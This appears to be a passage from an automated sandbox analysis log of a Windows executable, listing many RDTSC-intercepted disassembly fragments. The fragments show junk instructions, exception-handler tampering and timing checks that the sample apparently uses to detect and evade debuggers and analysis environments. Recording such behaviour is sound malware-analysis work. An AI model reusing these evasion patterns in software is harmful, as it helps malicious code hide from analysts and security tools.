Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315811 second address: 1315849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jg 00007FF6744C8C9Eh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122DB830h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 jmp 00007FF6744C8C9Dh 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13159B9 second address: 13159D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131691E second address: 1316992 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov bl, F0h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov edi, dword ptr [ebp+122D1B9Eh] 0x0000001a je 00007FF6744C8C97h 0x00000020 stc 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov dword ptr [ebp+122D1AD0h], ebx 0x0000002e mov eax, dword ptr [ebp+122D16E5h] 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FF6744C8C98h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e add dword ptr [ebp+122D361Fh], edx 0x00000054 sub dword ptr [ebp+122D2AADh], esi 0x0000005a push FFFFFFFFh 0x0000005c sub ebx, dword ptr [ebp+122D1AD6h] 0x00000062 push eax 0x00000063 pushad 0x00000064 jns 00007FF6744C8C98h 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13159D2 second address: 13159D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13159D8 second address: 13159EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FF6744C8C9Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13159EF second address: 1315A71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D3663h], eax 0x00000010 mov dword ptr [ebp+122D1847h], edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov ebx, dword ptr [ebp+122D369Eh] 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FF674E409B8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov eax, dword ptr [ebp+122D16F5h] 0x0000004a push FFFFFFFFh 0x0000004c add dword ptr [ebp+122D2E88h], esi 0x00000052 nop 0x00000053 pushad 0x00000054 jnl 00007FF674E409BCh 0x0000005a pushad 0x0000005b jnc 00007FF674E409B6h 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A54E second address: 131A55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF6744C8C9Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A626 second address: 131A62C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A62C second address: 131A631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B706 second address: 131B70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B8EE second address: 131B8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C7DA second address: 131C7E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E5C3 second address: 131E5ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF6744C8CA2h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C7E0 second address: 131C805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E5ED second address: 131E5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C805 second address: 131C80B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E5F3 second address: 131E5F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7D5E second address: 12C7D64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7D64 second address: 12C7D69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324F0B second address: 1324F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324F17 second address: 1324F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF6744C8C96h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324F22 second address: 1324F35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007FF674E409B6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324F35 second address: 1324F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF6744C8CA4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324654 second address: 1324691 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF674E409BEh 0x00000008 jmp 00007FF674E409C7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FF674E409C2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324AAF second address: 1324ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8C9Ch 0x00000007 jmp 00007FF6744C8CA5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324ADC second address: 1324AF2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF674E409BAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FF674E409B6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324AF2 second address: 1324AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FCAA second address: 132FCBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pushad 0x00000009 je 00007FF674E409B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330268 second address: 133026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133026D second address: 1330273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330273 second address: 1330277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13307B5 second address: 13307BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13307BD second address: 13307C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2C74 second address: 12C2CCF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF674E409B6h 0x00000008 jno 00007FF674E409B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jc 00007FF674E409B6h 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007FF674E409CCh 0x00000020 pushad 0x00000021 jmp 00007FF674E409C2h 0x00000026 pushad 0x00000027 popad 0x00000028 jmp 00007FF674E409BEh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330ABC second address: 1330AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330AC0 second address: 1330AD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF674E409C3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330AD9 second address: 1330B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF6744C8C96h 0x00000009 jmp 00007FF6744C8CA0h 0x0000000e popad 0x0000000f pushad 0x00000010 jp 00007FF6744C8C96h 0x00000016 jns 00007FF6744C8C96h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C62 second address: 1330C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133254F second address: 1332558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13387DB second address: 13387E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13387E4 second address: 13387EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13387EA second address: 13387F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF674E409B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133778A second address: 133778F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13378C3 second address: 13378F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FF674E409C7h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF674E409C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13378F9 second address: 1337907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337907 second address: 1337912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF674E409B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BA8 second address: 1337BAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337BAE second address: 1337BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF674E409C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338190 second address: 1338194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC70 second address: 133DCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF674E409B6h 0x0000000a jmp 00007FF674E409C9h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 jmp 00007FF674E409C6h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FFF44 second address: 12FFF9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8C9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub edx, dword ptr [ebp+122D37ECh] 0x00000010 mov ecx, esi 0x00000012 lea eax, dword ptr [ebp+12471C90h] 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FF6744C8C98h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov edx, dword ptr [ebp+122D391Ch] 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b je 00007FF6744C8C98h 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FFF9C second address: 12E6FE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF674E409C6h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF674E409BCh 0x00000011 nop 0x00000012 mov dh, C4h 0x00000014 call dword ptr [ebp+122DB7C2h] 0x0000001a push edx 0x0000001b jne 00007FF674E409D9h 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130060C second address: 1300612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13006CF second address: 13006EF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF674E409C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300946 second address: 130094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130094A second address: 130094E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130094E second address: 1300954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1300954 second address: 1300959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301270 second address: 12E7AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FF6744C8C98h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 jnl 00007FF6744C8C9Bh 0x00000029 and dx, 3AE7h 0x0000002e call dword ptr [ebp+122DB81Dh] 0x00000034 jng 00007FF6744C8CB9h 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7AEB second address: 12E7AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D2BE second address: 133D2E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007FF6744C8C9Bh 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007FF6744C8C96h 0x0000001c popad 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D424 second address: 133D42A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D42A second address: 133D430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D430 second address: 133D434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D5DB second address: 133D5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D5E1 second address: 133D5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF674E409B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D5F1 second address: 133D5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF6744C8C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D5FD second address: 133D605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D74D second address: 133D752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342038 second address: 1342047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 jo 00007FF674E409B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342823 second address: 134283E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134283E second address: 1342860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF674E409C2h 0x0000000b popad 0x0000000c push esi 0x0000000d jo 00007FF674E409BEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13429CF second address: 13429E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jns 00007FF6744C8C96h 0x0000000d pop edi 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342B36 second address: 1342B73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF674E409CFh 0x0000000c jmp 00007FF674E409C9h 0x00000011 popad 0x00000012 push esi 0x00000013 jmp 00007FF674E409C1h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134AFF6 second address: 134AFFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E14F second address: 134E157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E157 second address: 134E15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E15B second address: 134E169 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D9BA second address: 134D9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jp 00007FF6744C8C9Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D9C9 second address: 134D9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D9CF second address: 134D9F6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF6744C8C98h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF6744C8CA9h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352417 second address: 135243E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF674E409B6h 0x00000008 jmp 00007FF674E409BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF674E409C1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356E6F second address: 1356E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135713C second address: 1357155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13572E2 second address: 13572FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF6744C8CA1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13572FB second address: 1357315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135746C second address: 1357476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF6744C8C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357476 second address: 135747C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
